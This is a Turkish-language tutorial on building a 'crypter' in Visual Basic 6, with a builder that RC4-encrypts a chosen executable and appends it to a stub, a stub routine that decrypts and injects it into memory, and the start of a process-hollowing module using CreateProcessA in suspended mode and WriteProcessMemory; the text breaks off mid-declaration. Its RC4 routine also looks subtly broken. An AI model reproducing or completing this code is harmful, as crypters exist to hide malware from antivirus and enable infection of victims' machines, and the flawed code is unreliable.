Basit Crypter Yapımı

Private Sub Command1_Click()
With CommonDialog1
.DialogTitle = "Dosyanızı seçiniz!"
.Filter = "Aplicaciones EXE|*.exe"
.ShowOpen
End With

If Not CommonDialog1.FileName = vbNullString Then
Text1.Text = CommonDialog1.FileName
MsgBox "Dosyayı Sectiniz", vbInformation, Me.Caption
End If
End Sub

Private Sub Command2_Click()
Dim stub As String, Archivo As String
If Text1.Text = vbNullString Then
MsgBox "H-S Farkı", vbExclamation, Me.Caption
Exit Sub
Else
Open App.Path & "\stub.exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
With CommonDialog1
.DialogTitle = "Selecione la ruta donde guardar el archivo encriptado!"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With
If Not CommonDialog1.FileName = vbNullString Then
Archivo = RC4(Archivo, Text2.Text)
Open CommonDialog1.FileName For Binary As #1
Put #1, , stub & "##$$##" & Archivo & "##$$##" & Text2.Text & "##$$##"
Close #1
MsgBox "Başarılı", vbInformation, Me.Caption
End If
End Sub

Sub Main()
Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "##$$##")
sData(1) = RC4(sData(1), sData(2))
Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
Ve bir Modül Daha Açarak Adını Memoria koyuyoruz
Şu kodu yapıştırıyoruz.

Kod:
Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long